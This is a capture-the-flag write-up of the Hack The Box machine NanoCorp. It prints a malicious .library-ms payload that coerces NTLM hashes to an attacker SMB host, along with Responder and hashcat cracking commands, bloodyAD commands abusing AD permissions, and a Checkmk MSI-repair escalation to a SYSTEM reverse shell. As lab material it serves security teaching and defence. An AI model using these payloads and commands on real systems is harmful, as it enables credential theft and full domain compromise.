HTB: NanoCorp

Weaponising CVE-2025-24071 via a malicious ZIP upload to coerce NTLMv2 from a service account, then threading through three AD DACL misconfigurations to reach the Domain Controller — finished with Checkmk CVE-2024-0670 for SYSTEM via MSI repair abuse.

Enumeration

NanoCorp runs a Windows Active Directory environment. An Nmap scan confirmed the usual AD port fingerprint — 53 (DNS), 88 (Kerberos), 135/139/445 (RPC/SMB), 389/636 (LDAP/LDAPS), 3268 (Global Catalogue), and 5985 (WinRM). The web service on port 80 resolved to hire.nanocorp.htb after updating /etc/hosts — a corporate-style recruitment portal.

nmap -sV -sC -p- --min-rate 5000 -oA nanocorp 10.10.11.x
# Added nanocorp.htb and hire.nanocorp.htb to /etc/hosts

The recruitment application accepted CV uploads but restricted them to ZIP archives. Without valid credentials yet, the upload functionality was the only meaningful attack surface. This is where CVE-2025-24071 becomes relevant.

Initial Access — CVE-2025-24071: NTLM Coercion via .library-ms

Understanding the Vulnerability

CVE-2025-24071 is a Windows File Explorer NTLM hash disclosure vulnerability patched in March 2025 Patch Tuesday. The root cause is how Windows handles .library-ms files — XML-based Windows Library definition files that tell Explorer where to look for a particular library (e.g. Documents, Music). When a .library-ms file is extracted from an archive, Windows Explorer and the Search Indexer (SearchProtocolHost.exe) immediately process it, following any UNC paths defined within — including paths to attacker-controlled SMB servers. The processing happens without any user interaction beyond the extraction itself.

The attack is zero-interaction from the victim's perspective: extract a ZIP, trigger an automatic SMB authentication attempt to your server, capture the NTLMv2 hash. No clicks required.

Building and Delivering the Payload

I crafted a malicious .library-ms file with its url element pointing to my Responder listener, packaged it inside a ZIP, and uploaded it through the recruitment portal as a "CV":

# malicious.library-ms
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>true</isSupported>
      <simpleLocation>
        <url>\\10.10.14.x\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

zip payload.zip malicious.library-ms

# Start Responder to capture the hash
sudo responder -I tun0 -dwv

Uploading the ZIP and waiting a few seconds yielded a captured NTLMv2 hash from WEB_SVC — the service account processing uploaded files on the server side. I cracked the hash offline:

hashcat -m 5600 web_svc.hash /usr/share/wordlists/rockyou.txt
# Cracked: WEB_SVC:[password]

DACL Chain — Three Hops to the Domain Controller

With WEB_SVC credentials, I collected domain data with BloodHound. The resulting graph revealed a three-step privilege escalation chain through AD DACL misconfigurations — each one granting the next degree of access:

WEB_SVC → IT_SUPPORT: WEB_SVC held AddSelf rights over the IT_SUPPORT group, meaning it could add itself as a member without administrator approval.
IT_SUPPORT → monitoring_svc: Members of IT_SUPPORT had ForceChangePassword rights over the monitoring_svc account — the ability to reset its password without knowing the current one.
monitoring_svc → Domain Controller: monitoring_svc had PSRemoting access to the DC, giving WinRM shell access once its password was under our control.

# Get a TGT for WEB_SVC
getTGT.py 'NANOCORP/WEB_SVC:[password]'
export KRB5CCNAME=WEB_SVC.ccache

# Step 1 — add WEB_SVC to IT_SUPPORT
bloodyAD -d NANOCORP -u WEB_SVC -k --dc-ip [DC_IP] \
  add groupMember IT_SUPPORT WEB_SVC

# Step 2 — force reset monitoring_svc password
bloodyAD -d NANOCORP -u WEB_SVC -k --dc-ip [DC_IP] \
  set password monitoring_svc 'NewPass123!'

# Step 3 — WinRM to DC as monitoring_svc
evil-winrm -i [DC_IP] -u monitoring_svc -p 'NewPass123!'

I now had an interactive shell on the Domain Controller as monitoring_svc — but not yet SYSTEM. The user flag was retrievable at this stage. The final step was a local privilege escalation on the DC itself.

Privilege Escalation — Checkmk CVE-2024-0670: MSI Repair to SYSTEM

Enumerating installed software on the DC revealed a Checkmk monitoring agent installation — version 2.1.0p10. This version is affected by CVE-2024-0670, a local privilege escalation vulnerability in how the agent handles MSI repair operations.

When a Windows Installer MSI repair is triggered on the Checkmk agent, the installer service (msiexec.exe) runs as SYSTEM and re-executes scripts from the agent's installation directory as part of the repair process. If the agent's script directory is writable by a low-privileged user, arbitrary code execution as SYSTEM follows.

# Check Checkmk installation directory permissions
icacls "C:\Program Files (x86)\checkmk\service\"
# monitoring_svc has WRITE access to the scripts subdirectory

# Drop a malicious script that Checkmk's repair will execute as SYSTEM
# (naming convention must match what Checkmk's repair process looks for)
copy shell.cmd "C:\Program Files (x86)\checkmk\service\check_mk.bat"

# Set up listener on Kali
nc -lvnp 4444

# Trigger MSI repair — runs as SYSTEM
msiexec /fa "C:\path\to\check_mk_agent.msi"

The MSI repair executed the planted script under the SYSTEM context, triggering the reverse shell. Full Domain Controller compromise achieved.

The combination of a writable monitoring agent directory and an MSI repair triggered by a low-privileged user is a reliable and underappreciated escalation path. Monitoring agents are almost always installed with elevated privileges and frequently given broad write access during deployment — a dangerous combination.

Takeaways

CVE-2025-24071 makes file upload features on Windows servers a coercion opportunity whenever the server-side process touches the uploaded content. Any application that extracts archives without stripping Windows Library files is potentially vulnerable — and patching Explorer/Search doesn't help if the application itself triggers the processing.
DACL chains in AD are the bread and butter of realistic Windows engagements. No single permission here was an obvious "give me admin" right — it was three individually-low-risk misconfigurations that compounded into full domain compromise. BloodHound shortest-path analysis is essential for surfacing these chains quickly.
AddSelf and ForceChangePassword are high-risk AD permissions that should be audited routinely. Neither requires compromising the target account directly — they bypass the credential entirely.
Monitoring agents running as SYSTEM with writable installation directories are a consistent privilege escalation source across environments. Checkmk, Zabbix, and similar tools should always be deployed with read-only ACLs on their script directories for non-administrator accounts.